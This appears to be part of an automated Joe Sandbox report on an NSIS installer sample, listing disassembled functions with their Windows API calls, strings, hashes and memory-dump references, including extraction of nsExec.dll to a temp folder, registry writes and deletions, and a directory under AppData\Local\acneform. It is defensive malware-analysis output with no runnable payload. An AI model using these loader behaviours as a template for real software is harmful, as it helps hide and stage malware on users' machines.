Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Exec$Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-2401076859
Opcode ID: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction ID: fc62ecdfc612bfadb4c03fc2fb2820e4449372332e166df7cb208319b666a0da
Opcode Fuzzy Hash: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction Fuzzy Hash: 7D612571A046009BD720AF24DD84B6A76E8EF95328F16053FF643B32D0DB7C9961875E

Function 004032B9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403323
GetTickCount.KERNEL32 ref: 004033CA
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004033F3
wsprintfW.USER32 ref: 00403406

Strings

*B, xrefs: 004032E4
A, xrefs: 00403379
... %d%%, xrefs: 00403400
A, xrefs: 00403483
FB, xrefs: 004033A7, 004033C2, 0040343F

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ FB$ A$ A$... %d%%
API String ID: 551687249-3833040932
Opcode ID: 4d79547acdf73e44e2915cc23a34bb29038fe19ea0f8e502eb24a445e2a4333a
Instruction ID: 982be0e2f69b4341102b9ffd21d6361bbd2cc6e706b5ad6adcc0aeecd99e7a45
Opcode Fuzzy Hash: 4d79547acdf73e44e2915cc23a34bb29038fe19ea0f8e502eb24a445e2a4333a
Instruction Fuzzy Hash: 1A516F71910219EBCB11CF65DA44B9E7FB8AF04756F10827BE814BB2D1C7789A40CB99

Function 00401774 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Exec,C:\Users\user\AppData\Local\acneform\Tjenestepligterne,?,?,00000031), ref: 004017B5
CompareFileTime.KERNEL32(-00000014,?,Exec,Exec,00000000,00000000,Exec,C:\Users\user\AppData\Local\acneform\Tjenestepligterne,?,?,00000031), ref: 004017DA

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

Part of subcall function 004055DC: lstrlenW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,0040341D,0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Strings

C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll, xrefs: 0040183A, 00401856
C:\Users\user\AppData\Local\acneform\Tjenestepligterne, xrefs: 004017A3
C:\Users\user\AppData\Local\Temp\nsbB152.tmp, xrefs: 00401826, 00401844
Exec, xrefs: 00401792, 0040179B, 004017A8, 004017BA, 004017C6, 004017FC, 00401812, 00401830, 0040186C, 004018ED, 004018F6, 00401900, 0040190B

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsbB152.tmp$C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll$C:\Users\user\AppData\Local\acneform\Tjenestepligterne$Exec
API String ID: 1941528284-4220020715
Opcode ID: 6570eeae84e5bb265c2249ceb719c511b69c24445da543620ab3fdc205d1b951
Instruction ID: f3bec3fd9c2ad120a03a9c06557e7274b723a0da437845685234e4033458a62e
Opcode Fuzzy Hash: 6570eeae84e5bb265c2249ceb719c511b69c24445da543620ab3fdc205d1b951
Instruction Fuzzy Hash: 0B419471800108BACB11BFA5DD85DBE76B9EF45328B21423FF412B10E2DB3C8A519A2D

Function 004055DC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
lstrlenW.KERNEL32(0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
lstrcatW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,0040341D,0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0), ref: 00405637
SetWindowTextW.USER32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll), ref: 00405649
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Strings

Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll, xrefs: 004055FD, 0040560D, 00405613, 00405636, 00405642

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll
API String ID: 2531174081-4072277442
Opcode ID: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction ID: 906fe2e33ec339045028823105f1a28636d6cdc7c4a53a0106b9bb612f22f5f3
Opcode Fuzzy Hash: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction Fuzzy Hash: 9121A171900158BACB119F65DD449CFBFB4EF45350F50843AF508B62A0C3794A50CFA8

Function 004068DB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068F2
wsprintfW.USER32 ref: 0040692D
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406941

Strings

UXTHEME, xrefs: 004068E4
%s%S.dll, xrefs: 00406927

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction ID: a217f45d9ff01499786c61cea798a126a457230594f844882b590dd92c6ddc53
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 69F0F671501219A6CF14BB68DD0DF9B376CAB40304F21447AA646F20E0EB789B69CBA8

Function 00402EAE Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F02
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F4E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F57
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F79

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: 7c59605d0ca35e0e1f1170af87acd2d95b5481229a772e02f8b12e0d157fbf49
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: 2A216B7150010ABFDF119F90CE89EEF7B7DEB54398F100076B949B21E0D7B49E54AA68

Function 00401C48 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CD0

Strings

!, xrefs: 00401C84

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 069d8cd0b50c9c3d23d30c496d0653b5436aef65d2998253063e1abfe41eec6a
Instruction ID: 3d1946e732457e70d46414fe723373bc78a31951f468440fe5e33f287296c6aa
Opcode Fuzzy Hash: 069d8cd0b50c9c3d23d30c496d0653b5436aef65d2998253063e1abfe41eec6a
Instruction Fuzzy Hash: BC21AD71D1421AAFEB05AFA4D94AAFE7BB0EF84304F10453EF601B61D0D7B84941DB98

Function 0040248F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00000023,00000011,00000002), ref: 004024DA
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00000000,00000011,00000002), ref: 0040251A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00000000,00000011,00000002), ref: 00402602

Strings

C:\Users\user\AppData\Local\Temp\nsbB152.tmp, xrefs: 004024CB, 004024D9, 004024F0, 00402504, 0040250F

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsbB152.tmp
API String ID: 2655323295-627501760
Opcode ID: f78f700b530699748f9fad481ce2e67ea2ae6cf6ef13030ba4708d919309f38a
Instruction ID: e3d4462d3b771ebaa4f16124ca1672ddbf53c4078f16fd27a1e0ad00bfdc49f7
Opcode Fuzzy Hash: f78f700b530699748f9fad481ce2e67ea2ae6cf6ef13030ba4708d919309f38a
Instruction Fuzzy Hash: 8B117F31900118BEEB10EFA5DE59EAEBAB4EF54358F11443FF504B71C1D7B88E419A58

Function 00406076 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00406094
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403530,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C), ref: 004060AF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040607B
nsa, xrefs: 00406083

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1331003597
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: 86e06e500a6970b3bc5bd370241205c1b86a0a172d82c816bfbfc8c597d973d5
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: 65F09076B50204FBEB10CF69ED05F9EB7ACEB95750F11803AED05F7240E6B099548768

Function 004015C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405ED1: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,?,00405F45,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75573420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EDF
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EE4
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EFC

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161F

Part of subcall function 00405AAB: CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405AED

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\acneform\Tjenestepligterne,?,00000000,000000F0), ref: 00401652

Strings

C:\Users\user\AppData\Local\acneform\Tjenestepligterne, xrefs: 00401645

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\acneform\Tjenestepligterne
API String ID: 1892508949-3042626848
Opcode ID: 3fdecb0bba39e703bf4163983f1431fe553617167f418b1ef3a8f15efc1dcdc7
Instruction ID: 6fd3d265dcb44280b24f8e6f21651466162e19908bb00ba525d5af3adea1cd3c
Opcode Fuzzy Hash: 3fdecb0bba39e703bf4163983f1431fe553617167f418b1ef3a8f15efc1dcdc7
Instruction Fuzzy Hash: F211E231404104ABCF206FA5CD0159F36B0EF04368B25493FE945B22F1DA3D4A81DA5E

Function 00406425 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000000,00000000,?,?,00000800,00000000,?,?,?,?,Exec,?,00000000,00406696,80000002), ref: 0040646B
RegCloseKey.KERNELBASE(?), ref: 00406476

Strings

Exec, xrefs: 0040642C

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseQueryValue
String ID: Exec
API String ID: 3356406503-459137531
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 70129269225b3d2074805611e9e9ab3b6623f97616b55adb64abfcd2b3eb4ee3
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: 3F017172540209AADF21CF51CC05EDB3BA8EB54364F114439FD1596190D738D964DBA4

Function 004020DD Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402108

Part of subcall function 004055DC: lstrlenW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,0040341D,0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402119
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402196

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

